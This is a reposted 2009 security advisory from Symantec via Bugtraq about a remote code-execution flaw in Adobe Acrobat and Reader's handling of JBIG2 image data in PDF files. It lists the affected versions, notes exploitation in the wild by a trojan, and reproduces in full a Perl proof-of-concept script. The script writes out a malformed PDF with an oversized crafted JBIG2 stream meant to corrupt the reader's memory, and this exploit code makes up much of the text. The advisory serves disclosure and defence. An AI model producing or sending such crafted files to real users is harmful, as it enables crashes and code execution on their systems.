|
Feeds -
Exploits
|
|
Written by Symantec
|
|
Tuesday, 24 February 2009 20:46 |
Adobe Acrobat and Reader PDF File Handling Remote Code Execution Vulnerability
-\\Bugtraq ID: 33751
-\\Class: Boundary Condition Error
-\\CVE:
-\\Remote: Yes
-\\Local: No
-\\Published: Feb 19 2009 12:00AM
-\\Updated: Feb 24 2009 06:47PM
-\\Credit: Symantec
-\\Vulnerable: Adobe Acrobat Standard 8.1.3 Adobe Acrobat Standard 8.1.2 Adobe Acrobat Standard 8.1.1 Adobe Acrobat Standard 7.0.8 Adobe Acrobat Standard 7.0.7 Adobe Acrobat Standard 7.0.6 Adobe Acrobat Standard 7.0.5 Adobe Acrobat Standard 7.0.4 Adobe Acrobat Standard 7.0.3 Adobe Acrobat Standard 7.0.2 Adobe Acrobat Standard 7.0.1 Adobe Acrobat Standard 7.0 Adobe Acrobat Standard 9 Adobe Acrobat Standard 8.1 Adobe Acrobat Standard 8.0 Adobe Acrobat Standard 7.1 Adobe Acrobat Reader (UNIX) 7.0.1 Adobe Acrobat Reader (UNIX) 7.0 Adobe Acrobat Reader 8.1.3 Adobe Acrobat Reader 8.1.2 Adobe Acrobat Reader 8.1.1 Adobe Acrobat Reader 7.0.9 Adobe Acrobat Reader 7.0.9 Adobe Acrobat Reader 7.0.8 Adobe Acrobat Reader 7.0.8 Adobe Acrobat Reader 7.0.7 Adobe Acrobat Reader 7.0.6 Adobe Acrobat Reader 7.0.5 Adobe Acrobat Reader 7.0.4 Adobe Acrobat Reader 7.0.3 Adobe Acrobat Reader 7.0.2 Adobe Acrobat Reader 7.0.1 Adobe Acrobat Reader 7.0 Adobe Acrobat Reader 9 Adobe Acrobat Reader 8.1.2 Security Updat Adobe Acrobat Reader 8.1 Adobe Acrobat Reader 8.0 Adobe Acrobat Reader 7.1 Adobe Acrobat Professional 8.1.3 Adobe Acrobat Professional 8.1.2 Adobe Acrobat Professional 8.1.1 Adobe Acrobat Professional 7.0.9 Adobe Acrobat Professional 7.0.8 Adobe Acrobat Professional 7.0.7 Adobe Acrobat Professional 7.0.6 Adobe Acrobat Professional 7.0.5 Adobe Acrobat Professional 7.0.4 Adobe Acrobat Professional 7.0.3 Adobe Acrobat Professional 7.0.2 Adobe Acrobat Professional 7.0.1 Adobe Acrobat Professional 7.0 Adobe Acrobat Professional 9 Adobe Acrobat Professional 8.1.2 Security Updat Adobe Acrobat Professional 8.1 Adobe Acrobat Professional 8.0 Adobe Acrobat Professional 7.1 Adobe Acrobat 7.0.3 Adobe Acrobat 7.0.2 Adobe Acrobat 7.0.1 Adobe Acrobat 7.0
-\\Discussion Adobe Acrobat and Reader are prone to a remote code-execution vulnerability.
An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the application or crash the application, denying service to legitimate users.
The issue affects Reader and Acrobat 9, 8.1.3 and prior, and 7.
UPDATE (Feb 24, 2009): Further reports suggest this issue affects the vulnerable applications running on Apple Mac OS X and various Linux based operating systems.
-\\Exploit(s)/PoC(s): Symantec captured an attempt to exploit this issue as a part of a targeted attack in the wild via 'Trojan.Pidief.E'.
A working commercial exploit is available through VUPEN Security - Exploit and PoCs Service. This exploit is not otherwise publicly available or known to be circulating in the wild.
The following proofs of concept are available:
============================ http://www.securityfocus.com/data/vulnerabilities/exploits/33751-PoC.pdf =============================================================== 33751-PoC.pl ^^^^^^^^^^^^^ #!/usr/bin/perl # k`sOSe 02/22/2009
# http://vrt-sourcefire.blogspot.com/2009/02/have-nice-weekend-pdf-love.html
my $size = "\x40\x00"; my $factor = "ABCD"; my $data = "A" x 8314;
print pdf();
sub pdf() {
"%PDF-1.5\n" . "%\xec\xf5\xf2\xe1\xe4\xef\xe3\xf5\xed\xe5\xee\xf4\n" . "3 0 \n" . "xref\n" . "3 16\n" . "0000000023 00000 n \n" . "0000000584 00000 n \n" . "0000000865 00000 n \n" . "0000001035 00000 n \n" . "0000001158 00000 n \n" . "0000001287 00000 n \n" . "0000001338 00000 n \n" . "0000001384 00000 n \n" . "0000002861 00000 n \n" . "0000003637 00000 n \n" . "0000005126 00000 n \n" . "0000005173 00000 n \n" . "0000005317 00000 n \n" . "0000005370 00000 n \n" . "0000005504 00000 n \n" . "0000000714 00000 n \n" . "trailer\n" . "<</Root 4 0 R/Info 2 0 R/ID[<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA> <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>]/Size 19/Prev 10218>>\n" . "startxref\n" . "0\n" . "%%EOF\n" . " \n" . "4 0 obj\n" . "<</Type/Catalog/Pages 1 0 R/OCProperties<</OCGs[9 0 R 13 0 R]/D<</Order[9 0 R 13 0 R]/ON[9 0 R 13 0 R]/OFF[]>>>>>>\n" . "endobj\n" . " \n" . "5 0 obj\n" . "<</Type/Page/MediaBox[0 0 640 480]/Resources<</XObject<</Im001 7 0 R/Im002 10 0 R/Im003 11 0 R/Im004 14 0 R/Im005 16 0 R>>>>/Contents 6 0 R/Parent 1 0 R>>\n" . "endobj\n" . "6 0 obj\n" . "<</Length 56/Filter/FlateDecode>>\n" . "stream\n" . "x\x9c\xe3*T031P\x00A\x13\x0b\x08\x9d\x9c\xab\xa0\xef\x99k``\xa8\xe0\x92\xaf\x10\xc8\x85[\x81\x11!\x05\xc6\x84\x14\x98\xc0\x14\xc0\$\@\xb4\x05\xb2\n" . "S\xb0\n" . "\x00J\x15#,\n" . "endstream\n" . "endobj\n" .
"12 0 obj\n" . "<</Subtype/Image/Width 640/Height 480/ColorSpace/DeviceGray/BitsPerComponent 1/Decode[1 0]/Interpolate true/Length 1314/Filter/JBIG2Decode>>\n" . "stream\n" . "\x00\x00\x00\x01" . $size . $factor . "\x13" . $data . "endstream\n" . "endobj\n" . "13 0 obj\n" . "<</Type/OCG/Name(Text Color)>>\n" . "endobj\n" . "14 0 obj\n" . "<</Subtype/Image/Width 1/Height 1/ColorSpace/DeviceGray/BitsPerComponent 8/SMask 12 0 R/OC 15 0 R/Length 1>>\n" . "stream\n" . "\x00\n" . "endstream\n" . "endobj\n" .
"1 0 obj\n" . "<</Type/Pages/Kids[5 0 R]/Count 1>>\n" . "endobj\n" . "xref\n" . "0 3\n" . "0000000000 65535 f \n" . "0000009988 00000 n \n" . "0000010039 00000 n \n" . "trailer\n" . "<</ID[<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA> <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>]/Size 3>>\n" . "startxref\n" . "104\n" . "%%EOF\n";
}
-\\Solution NOTE: The vendor is in the process of fixing this issue and will release first fixes by March 11, 2009.
-\\References(s) --Adobe Homepage http://www.adobe.co (Adobe) --Adobe Reader and Acrobat issue http://blogs.adobe.com/psirt/2009/02/adobe_reader_and_acrobat_issue.htm (Adobe) --APSA09-01 - Buffer overflow issue in versions 9.0 and earlier of Adobe Reader an http://www.adobe.com/support/security/advisories/apsa09-01.htm (Adobe) --Vulnerability Note VU#905281 Adobe Reader and Acrobat memory corruption vulnerab http://www.kb.cert.org/vuls/id/90528 (US-CERT)
|